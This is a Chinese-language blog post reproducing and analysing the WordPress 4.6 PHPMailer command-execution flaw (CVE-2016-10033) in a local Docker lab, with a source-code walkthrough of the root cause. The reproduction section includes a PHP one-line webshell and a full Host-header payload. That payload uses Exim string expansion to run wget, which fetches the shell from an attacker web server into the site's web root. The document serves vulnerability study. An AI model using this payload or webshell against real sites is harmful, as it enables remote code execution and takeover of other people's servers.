深入分析WordPress4.6(PHPMailer)命令执行漏洞(CVE-2016-10033)

举报
yd_281320545 发表于 2022/11/15 22:48:17 2022/11/15
【摘要】 郑重声明:本文章内容仅供学习研究使用,请勿用于任何其他用途,本人不承担任何责任。WordPress4.6(PHPMailer)命令执行漏洞(CVE-2016-10033)漏洞版本WordPress <= 4.6.0PHPMailer < 5.2.18漏洞概述WordPress会使用PHPMailer组件发送邮件,攻击者在找回密码时通过PHPMailer组件发送重置密码的邮件,利用substr...

郑重声明:本文章内容仅供学习研究使用,请勿用于任何其他用途,本人不承担任何责任。

WordPress4.6(PHPMailer)命令执行漏洞(CVE-2016-10033)

漏洞版本

  • WordPress <= 4.6.0
  • PHPMailer < 5.2.18

漏洞概述

WordPress会使用PHPMailer组件发送邮件,攻击者在找回密码时通过PHPMailer组件发送重置密码的邮件,利用substr,run等函数构造payload,可造成命令执行漏洞。

实验环境及搭建

靶机:ubuntu192.168.218.128中的docker环境wordpress4.6, apache版本2.4.7,php版本5.5.9

攻击机:windows10,192.168.218.1

攻击机web服务:ubuntu192.168.218.128靶机上python开启web服务

实验过程

进入到vulhub项目下的wordpress模块,启动靶机环境sudo docker-compose up -d,查看docker启动情况

image-20221114150419753.png

命令sudo docker exec -it pwnscriptum_web_1 /bin/bash进入pwnscriptum_web_1容器查看apache和php版本分别为2.4.7和5.5.9

image-20221114151733355.png

访问192.168.218.128:8080初始化wordpress

搭建完后访问8080端口,搭建成功

image-20221114152113535.png

先将一句话木马文件shell.php放到ubuntu里并用python对外提供web服务sudo python3 -m http.server 80

<?php eval($_POST['cmd']); ?>

payload构造

攻击payload

target(any -froot@localhost -be ${run{$payload}} null)

其中的$payload原型

/usr/bin/wget --output-document /var/www/html/jgcshell.php 192.168.218.128/shell.php

需要对payload进行转换

所有/${substr{0}{1}{$spool_directory}}代替

所有空格${substr{10}{1}{$tod_log}}代替

${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}jgcshell.php${substr{10}{1}{$tod_log}}192.168.218.128${substr{0}{1}{$spool_directory}}shell.php
target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}jgcshell.php${substr{10}{1}{$tod_log}}192.168.218.128${substr{0}{1}{$spool_directory}}shell.php}} null)

访问http://192.168.218.128:8080/wp-login.php?action=lostpassword,来到忘记密码界面。

image-20221114165433300.png

填入邮箱有用burp抓包,将Host字段改成攻击payload

image-20221114162436363.png

发包之后进入docker中,发现jgcshell.php已经被下载下来了

image-20221114162415694.png

用蚁剑链接jgcshell.php文件

image-20221114162620881.png

原理分析

将docker中的wordpress源码拷贝出来sudo docker cp pwnscriptum_web_1:/var/www/html /home/jgc/code

根据忘记密码页面的urlwp-login.php?action=lostpassword定位到wp-login.phpretrieve_password函数,此函数是对密码的操作函数。

此函数中对用户输入进行处理后,最后通过以下代码发送邮件

function retrieve_password() {
	......
        
	$message = apply_filters( 'retrieve_password_message', $message, $key, $user_login, $user_data );

	if ( $message && !wp_mail( $user_email, wp_specialchars_decode( $title ), $message ) )
		wp_die( __('The email could not be sent.') . "<br />\n" . __('Possible reason: your host may have disabled the mail() function.') );

	return true;
}

跟进wp_mail函数,定位到/wp-includes/pluggable.php

函数中其中关于host的设置如下

	if ( !isset( $from_name ) )
		$from_name = 'WordPress';

	if ( !isset( $from_email ) ) {
		// Get the site domain and get rid of www.
		$sitename = strtolower( $_SERVER['SERVER_NAME'] );
		if ( substr( $sitename, 0, 4 ) == 'www.' ) {
			$sitename = substr( $sitename, 4 );
		}

		$from_email = 'wordpress@' . $sitename;
	}

	$from_email = apply_filters( 'wp_mail_from', $from_email );

	$from_name = apply_filters( 'wp_mail_from_name', $from_name );

	$phpmailer->setFrom( $from_email, $from_name );

根据代码可以看出wordpress基于$_SERVER['SERVER_NAME']来构造$from_email发送邮件的域,前面拼接上wordpress@

$_SERVER['SERVER_NAME']参数是通过请求头Host字段传入,并且这里只是简单的使用substr去掉了前面的www.,没有任何过滤措施。

在docker中添加a.php代码来查看$_SERVER['SERVER_NAME']的值

<?php
if (isset($_SERVER['SERVER_NAME'])){
    echo $_SERVER['SERVER_NAME'];
}else{
    echo "no value";
}
?>

在下图中看到就是Host字段的值

image-20221115142132233.png

接着跟进setFrom函数,定位到wp-includes/class-phpmailer.php,发现其用到了PHPMailer组件

setFrom函数如下,这个函数对数据进行校验,没问题的话设置Sender变量为address变量的值

	public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . $address;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

其中validateAddress()函数在同文件下,函数前半部分如下

		if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }

经过测试发现$patternselect变量被设置为pcre8,因此在函数后面执行如下代码中的pcre8的case

		switch ($patternselect) {
            case 'pcre8':
                ...
            case 'pcre':
                ...
            case 'html5':
                ...
            case 'noregex':
				...
            case 'php':
            default:
                ...
        }

pcre8的代码注释

Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.

基于php内置的邮箱验证的基础上做的修改

php Use PHP built-in FILTER_VALIDATE_EMAIL;

查阅php官网

image-20221115091819538.png

这个验证方式允许使用括号或双引号使邮箱地址包含空格,因此在Hosts字段构造的发件人的邮箱可以是

target(any -froot@localhost -be ${run{$payload}} null)@qq.com

经过验证和过滤之后的函数调用

$phpmailer
=>Send()		wp-includes/pluggable.php#471
=>postSend() 	wp-includes/class-phpmailer.php#1125
=>mailSend()	wp-includes/class-phpmailer.php#1247
=>mailPassthru()	wp-includes/class-phpmailer.php#1368

将payload传入到mailPassthru()函数中,函数代码如下

	private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }
        if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }	

由于没有开启安全模式,因此调用的是$result = @mail($to, $subject, $body, $header, $params);

@mail是调用原生的mail(),在/wp-includes/class-phpmailer.php中定义

	/**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';	
	/**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

查阅php手册

mail(
    string $to,
    string $subject,
    string $message,
    array|string $additional_headers = [],
    string $additional_params = ""
): bool

对第五个参数有如下描述

The additional_params parameter can be used to pass additional flags as command line options to the program configured to be used when sending mail, as defined by the sendmail_path configuration setting. For example, this can be used to set the envelope sender address when using sendmail with the -f sendmail option.

This parameter is escaped by escapeshellcmd() internally to prevent command execution. escapeshellcmd() prevents command execution, but allows to add additional parameters. For security reasons, it is recommended for the user to sanitize this parameter to avoid adding unwanted parameters to the shell command.

‘additional_params’参数可用于将附加标志作为命令行选项传递给配置为在发送邮件时使用的程序,如’ sendmail_path ‘配置设置所定义的那样。例如,当使用带有’-f’ sendmail选项的sendmail时,可以使用它来设置信封发送者地址。

该参数通过escapeshellcmd()在内部转义,以防止命令执行。escapeshellcmd()阻止命令的执行,但是允许添加额外的参数。出于安全考虑,建议用户对该参数进行消毒,以避免向shell命令添加不必要的参数。

实际上phpmailer组件是调用linux系统命令sendmail进行邮件发送,命令格式为:sendmail -t -i -fusername@hostname

mail() 执行后,会执行这样的指令 sendmail -t -i -fwordpress@过滤后的数据包头中的Host字段值

另外sendmail符号链接到exim4exim4-be参数能开启字符串扩展测试模式,允许提取一些变量数据

$tod_log返回系统时间,$spool_directory返回路径值/var/spool/exim4,因此可以用${substr{10}{1}{$tod_log}}代替空格、${substr{0}{1}{$spool_directory}}代替斜杠来绕过-be后面参数中空格和斜杠,以及run可以运行程序

因此上面提到的payload

target(any -froot@localhost -be ${run{$payload}} null)

最后变成

sendmail -t -i -fwordpress@target(any -froot@localhost -be ${run{$payload}} null)

这样就可以执行run中的命令

如果直接在命令行里使用,需要给run加引号

image-20221115203451523.png

参考链接

sendmail.sendmail(8) - Linux man page

PHP: mail - Manual

WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033)复现分析 - 先知社区 (aliyun.com)

GitHub - opsxcq/exploit-CVE-2016-10033: PHPMailer < 5.2.18 Remote Code Execution exploit and vulnerable container

WordPress 4.6(PHPMailer)命令执行漏洞 (CVE-2016-10033)

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。